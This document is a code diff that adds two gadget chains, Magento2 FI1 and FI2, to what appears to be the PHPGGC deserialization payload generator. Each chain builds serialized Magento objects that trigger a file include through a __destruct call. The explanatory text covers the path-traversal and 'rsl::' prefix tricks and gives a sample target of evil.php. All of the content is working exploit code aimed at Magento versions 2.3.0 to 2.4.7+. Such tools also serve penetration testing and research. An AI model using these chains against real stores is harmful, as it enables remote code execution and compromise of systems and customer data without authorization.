Magento2 FI1 and FI2

gadgetchains/Magento2/FI/1/chain.php

@@ -0,0 +1,34 @@
+<?php
+
+namespace GadgetChain\Magento2;
+
+class FI1 extends \PHPGGC\GadgetChain\FileInclude
+{
+    public static $version = '2.3.0 <= 2.4.7+';
+    public static $vector = '__destruct';
+    public static $author = 'mcdruid';
+    public static $information = 'Your included file must end in .php
+    The include uses path traversal to try to get back to the docroot (typically
+    the "pub" directory). So the target path can be relative to that, or can use
+    more path traversal to resolve elsewhere. For example a target of "evil.php"
+    might result in include being called on:
+    /path/to/magento2/generated/metadata/rsl::/../../../pub/evil.php';
+
+    public function process_parameters(array $parameters)
+    {
+        $parameters = parent::process_parameters($parameters);
+        // Remove the .php suffix if it has been specified, as it will be added
+        // by the application.
+        $parameters['remote_path'] = preg_replace('#\.php$#i', '', $parameters['remote_path']);
+        $parameters['remote_path'] = '/../../../pub/' . ltrim($parameters['remote_path'], '/');
+        return $parameters;
+    }
+
+    public function generate(array $parameters)
+    {
+        return new \Magento\Framework\Cache\Backend\RemoteSynchronizedCache(
+            new \Magento\Framework\App\ObjectManager\ConfigLoader\Compiled(),
+            $parameters['remote_path']
+        );
+    }
+}

gadgetchains/Magento2/FI/1/gadgets.php

@@ -0,0 +1,18 @@
+<?php
+
+namespace Magento\Framework\Cache\Backend {
+    class RemoteSynchronizedCache {
+        private $remote;
+        private $lockList = [];
+
+        function __construct($remote, $lockList) {
+            $this->remote = $remote;
+            $this->lockList[] = $lockList;
+        }
+    }
+}
+
+namespace Magento\Framework\App\ObjectManager\ConfigLoader {
+    class Compiled {
+    }
+}

gadgetchains/Magento2/FI/2/chain.php

@@ -0,0 +1,41 @@
+<?php
+
+namespace GadgetChain\Magento2;
+
+class FI2 extends \PHPGGC\GadgetChain\FileInclude
+{
+    public static $version = '2.4.1 <= 2.4.7+';
+    public static $vector = '__destruct';
+    public static $author = 'mcdruid';
+    public static $information = 'Your included file must end in .php
+    Magento2 will add a prefix of "rsl::" to the filename. So if you specify
+    /path/to/evil.php the target file should be at /path/to/rsl::evil.php
+    A path relative to the docroot (typically "pub") should also work.
+    The path is checked with file_exists() so basic path traversal does not
+    overcome the prefixing of the filename.';
+
+    public function process_parameters(array $parameters)
+    {
+        $parameters = parent::process_parameters($parameters);
+        // Remove the prefix and suffix if they have been specified, as they
+        // will be added by the application.
+        $parameters['remote_path'] = preg_replace('#(rsl::|\.php$)#i', '', $parameters['remote_path']);
+        return $parameters;
+    }
+
+    public function generate(array $parameters)
+    {
+        $file = basename($parameters['remote_path']);
+        $dir = dirname($parameters['remote_path']);
+
+        return new \Magento\Framework\Cache\Backend\RemoteSynchronizedCache(
+            new \Magento\Framework\Interception\PluginListGenerator(
+                new \Magento\Framework\App\Filesystem\DirectoryList(
+                  $dir,
+                  'metadata'
+                )
+            ),
+            $file
+        );
+    }
+}

gadgetchains/Magento2/FI/2/gadgets.php

@@ -0,0 +1,33 @@
+<?php
+
+namespace Magento\Framework\Cache\Backend {
+    class RemoteSynchronizedCache {
+        private $remote;
+        private $lockList = [];
+
+        function __construct($remote, $lockList) {
+            $this->remote = $remote;
+            $this->lockList[] = $lockList;
+        }
+    }
+}
+
+namespace Magento\Framework\Interception {
+    class PluginListGenerator {
+        private $directoryList;
+
+        function __construct($directoryList) {
+            $this->directoryList = $directoryList;
+        }
+    }
+}
+
+namespace Magento\Framework\App\Filesystem {
+    class DirectoryList {
+        private $directories;
+
+        function __construct($file, $id) {
+            $this->directories[$id]['path'] = $file;
+        }
+    }
+}